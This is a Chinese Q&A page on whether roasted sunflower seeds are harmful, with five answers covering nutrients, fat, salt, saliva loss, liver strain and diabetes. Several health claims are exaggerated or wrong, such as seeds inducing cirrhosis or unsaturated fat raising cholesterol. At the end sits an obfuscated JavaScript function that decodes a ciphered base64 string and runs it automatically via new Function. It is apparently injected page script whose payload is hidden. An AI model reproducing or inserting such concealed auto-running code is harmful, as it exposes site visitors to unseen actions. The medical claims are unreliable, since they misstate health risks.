吃炒熟的葵花籽有坏处么?

2025-03-16 15:55:33
推荐回答(5个)
回答1:

-问题解答
建议适量食用,如过量食用会对身体有一定影响。葵花子虽营养丰富,但含油量高,且这些油脂大多属于不饱和脂肪酸,如果进食过多,不但会消耗体内的胆碱,使体内脂肪代谢失调,脂肪沉积于肝脏,还将会影响肝细胞的正常功能,造成肝功能障碍,容易引起结缔组织增生,甚至诱发肝组织坏死或肝硬化。
-本题延伸
-葵花籽的营养价值
葵花籽富含有大量的不饱和脂肪酸,还有人体必需的蛋白质,矿物质元素钾、磷、铁、钙、镁元素,同时葵花籽油所含的维生素A、、B1、Bz、E、P的含量也很高。
具体为(每100g):

糖类 20 g 膳食纤维 8.6 g 脂肪 51.46 g
饱和脂肪 4.455 g 单元不饱和脂肪 18.528 g 多元不饱和脂肪 23.137 g
蛋白质 20.78 g 钙 78 mg 铁 5.25 mg

镁 325 mg 锰 1.95 mg 磷 660 mg

-食用效用
1.丰富的铁、锌、钾,镁等微量元素,使葵花籽具有预防贫血等作用,它也是维生素B1和维生素E的良好来源。
2.每天吃一把葵花籽能满足人体一天所需的维生素E。
3.对安定情绪、防止细胞衰老、预防成人疾病都有好处。
4.葵花籽中有大量的食用纤维,每7克的葵花籽当中就含有1克,比苹果的食用纤维含量高得多。食用纤维可降低结肠癌的发病率。葵花籽中铁的含量是葡萄干和花生的2倍,所以也可预防贫血的发生。
-食用禁忌
1.葵花籽吃时最好用手剥皮。因为用牙嗑,容易使舌头、口角糜烂,还会在吐壳时将大量津液吐掉,使味觉迟钝、食欲减少,甚至引起胃痉挛。津液有助于清除口腔食物残渣,减少细菌繁殖和发酵,并能保护口腔黏膜
2.患有肝炎的病人,最好不要嗑葵花子,因为它会损伤肝脏,引起肝硬化。
3.葵花籽最好不要食用过多,会出现上火的情况。

回答2:

适量吃瓜子好处很多,如瓜子中的亚麻油酸可以保持血压稳定,降低体内胆固醇等等。 但吃太多花子容易加重肝脏负担形成脂肪肝,还会有瓜子牙。 科学理论证明,葵瓜子里面含有的某种油脂,对皮肤/眼睛/大脑都有好处呢! 吃瓜子的坏处:瓜子含盐分太高,容易引发高血压,而高血压是万病之源。长期嗑瓜子瓜子壳会大量的带走人们的唾液,而大量的缺乏唾液会对人的生命健康都是有威胁和害处的(这点网络中有大量的知识认证) 因为葵花籽与西瓜子都富含脂肪、蛋白质、锌等微量元素及多种维生素,可增强消化功能。嗑瓜子能够使整个消化系统活跃起来。瓜子的香味刺激舌头上的味蕾,味蕾将这种神经冲动传导给大脑,大脑又反作用于唾液腺等消化器官,使含有多种消化酶的唾液、胃液等的分泌相对旺盛。因此,在饭前或饭后磕瓜子,消化液就随之不断地分泌,这样对于消化与吸收十分有利。所以,饭前磕瓜子能够促进食欲,饭后磕瓜子能够帮助消化。如果数种瓜子混合嗑效果更佳。 磕瓜子虽有许多好处,可也不要无节制地大磕瓜子,要想到问题的另一面,磕瓜子也有坏处,那就是大磕瓜子会大量耗费唾液。唾液除了能滋润口腔喉舌以利发声和食物吞咽外,还有一些更重要的作用。现代医学研究发现,唾液中含有促进止血和收缩血管的物质,能加快血凝速度,减少伤口出血,促进伤口的愈合,唾液对细菌在口腔内产生的酸有中和作用,能保护牙齿,预防龋齿的发生,唾液中含有分泌型免疫球蛋白A和溶菌酶,有免疫和抗菌作用;唾液中含有消化酶,能把多糖变成双糖,以便人体吸收;此外唾液还是个抗癌剂,能减低黄曲霉素、苯并芘等致癌物的毒性,唾液中还含有唾液激素,对骨和牙齿的发育,血中钙磷代谢、蛋白质合成等都有一定影响力。因此,大量磕瓜子,大量耗损唾液的人易患口疮、舌疮、龋齿、牙龈炎、腮腺炎之类的疾病。此外,由于瓜子常常是不干净的,易于传播肝炎、痢疾之类的疾病。这一点,不能不引起人们的重视。 多数糖尿病患者都知道饮食治疗是控制血糖升高的重要手段,知道需少量多餐减轻胰岛负担,控制病情发展,所以吃零食便成为他们保障充足营养的手段之一。日常生活中,好多患者爱吃瓜子,甚至整天瓜子不离口,认为这样可减轻饥饿感,殊不知,多吃瓜子对糖尿病不利。 瓜子营养丰富,香气诱人,西瓜子能健胃、利肺、润肠;葵花子脂肪酸及维生素E含量丰富;南瓜子有驱虫作用,适当嗑点瓜子,能刺激舌头上的味觉神经,促进唾液、胃液的分泌,有利消化,有益健康,还能促进面部肌肉的运动。据报道,葵花子有医疗价值,可治泻痢、脓疱疮等疾病。但由于瓜子中含有一定的糖分,糖尿病人应该尽量少吃,如果每天吃500克的瓜子,对血糖肯定会有影响,不利于糖尿病人控制血糖。此外,瓜子除含丰富的蛋白质外,还有油脂,大量食入不仅使热量大为增加,而且使血脂升高。一部分血脂可通过糖异生作用转化为葡萄糖,升高血糖。另外,嗑瓜子时,唾液会因粘附在瓜子壳上被吐出而损失。唾液过多流失,会导致口腔溃疡、牙龈炎、龋齿、消化不良等病,而且还使味觉迟钝,食欲减退。唾液有助于清除口腔内的食物残渣,减少细菌繁殖和发酵的机会,并能保护口腔粘膜,糖尿病患者一旦发生口腔溃疡,则很难痊愈,所以,吃葵花子时,最好用手剥壳,切记不能一次吃得太多。 糖尿病人吃瓜子要计算量,尽量减少油脂的摄人。特别想吃时,每天也不要超过150克。而且要换算成能量从一天饮食总热量里扣除,如果少吃一个100克的熟馒头,则可以吃不多于70克的带壳葵花子,而且还要定期到医院检查血糖。

回答3:

好处:
1,好吃
2,葵花籽也是高蛋白食物,这种植物蛋白生吃是属于粗蛋白,很难消化,而经过炒制之后,粗蛋白被破坏,食用可促进氨基酸的吸收,有很好的促进生长发育,增强免疫力的效果。
坏处:
1、葵花籽含油量高,且这些油脂大多属于不饱和脂肪酸,进食过多不但会消耗体内的胆碱,使体内脂肪代谢失调,脂肪沉积于肝脏,将会影响肝细胞的正常功能,造成肝功能障碍,还容易引起结缔组织增生,甚至诱发肝组织坏死或肝硬化。
2、有些葵花籽在炒制时的香料,如桂皮、大茴、花椒等对胃都有一定的刺激作用,尤其是桂皮中含一种黄樟素的物质,动物实验证实其有致癌作用。老年人肝脏解毒功能下降,吃得太多,肝脏负担加重。
3、葵花籽在加工过程中,需要大量的食盐,而水、盐是一对孪生姐妹,盐摄取过多,可使水在血管内潴留,使血管阻力增加,血压升高或使高血压症状加剧,严重者还会诱发脑中风或心绞痛。
葵花籽炒后性温燥,多食易引起口干、口疮、牙痛、便燥等“上火”症状,故患者不宜用。

回答4:

有着“阳光之籽”美称的葵花籽,一直是人们心目中的健康食品。这不仅是因为磕葵花籽有助于脸部肌肉运动,从而具有美容功效,更重要的是其含有多种有利于健康的成分。 葵花籽仁含有大量的食用纤维。美国癌症研究所一直建议消费者多摄入食用纤维,从而降低结肠癌的发病率。一盎司(28.35克)葵仁可提供4克食用纤维,比一个苹果的食用纤维含量还多,与麦片的食用纤维含量差不多。 研究表明,“不饱和脂肪”会导致血液胆固醇偏高和心脏病。从这方面来看,葵花籽对消费者更具吸引力,因为它所含脂肪主要为“多不饱和脂肪”,而且不含胆固醇。在美国,葵仁常常被用作肉的替代品,在美国农业部的“全国学生午餐建议食谱”中,一些肉食就由葵仁来替代。 葵仁的亚油酸含量很高。这是一种对人体非常重要的脂肪酸,有助于降低人体的血液胆固醇水平。人体不能自行产生亚油酸,一般只能从食物中摄取。葵仁就是这种营养成分的很好来源。 葵仁还含有大量的铁、锌、钾、镁等微量元素。葵仁中铁的含量是葡萄干和花生的两倍。铁有利于形成红血球,帮助把氧由肺输送到细胞组织,并防止贫血病的发生。 相关的营养分析报告还指出,葵仁是维生素B1和维生素E的很好来源。维生素B1对于体内能量的形成及神经功能非常重要,而维生素E能有效防止癌症、肺疾病、白内障等,提高人体免疫功能。 嗑葵花籽在中国是一种传统的消费习惯。无论是与亲朋好友在家共度美好时光,还是在清风丽日外出旅游,葵花籽都是理想的休闲食品——磕瓜籽,听其声,尝其味,还能摄入不少营养元素,这不能不说是“一举多得”的享受。 美国的向日葵种植商和加工商采用先进的生物杂交技术,一流的生产加工设备和工艺,保证其向日葵产品拥有较高的质量。美国葵花籽一向以颗粒大而均匀、没有虫咬缺口而著称。目前,美国葵花籽已经以多种品牌和规格、不同的口味出现在中国市场 上面是我找到的资料,坏处可能只有上火吧..其他的就想不到了.

回答5:

概 述
葵花籽是我们日常生活中非常常见的一种食物,很多人都喜欢吃葵花籽,再吃个饭,没什么事的情况下来吃点葵花籽,对身体是有好处的,而且经常吃葵花籽还可以起到一定的瘦脸方面的效果,所以很多想减肥的人也喜欢吃葵花籽,葵花籽中含有大量的营养成分,经常吃对身体是有好处的,但是一次性不要吃得太多,这样也会对身体健康不利的。
步骤/方法:
1你好,葵花籽就是我们平时生活中所吃的瓜子,瓜子本身营养就非常的高,平时吃一些瓜子对身体是有好处的,瓜子中含有维生素、蛋白质、油类含量比较高。所以适当的吃一些瓜子可以起到美容瘦身的效果。
2你好,我们平时喜欢嗑点瓜子,只知道经常吃瓜子,非常的香,而且在没事的时候可以去吃把瓜子边聊天,是一种比较好的休闲养生方面的食品,其实经常吃瓜子还具有一定的防高血压等方面的作用。
3你好,葵花子对于失眠健忘方面的治疗也有一定的效果的,而且葵花籽可以起到一定的增强记忆力方面的效果,但是瓜子一次性不能吃太多,吃多了容易使人产生口干上火的现象,甚至会出现消化不良的现象。
注意事项:
你好,以上我讲了一下,吃葵花籽的好处与坏处等方面的事情,桂花紫心好吃,但是葵花籽中含有一定的油,所以吃的时候要注意,不要吃得太多了。

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();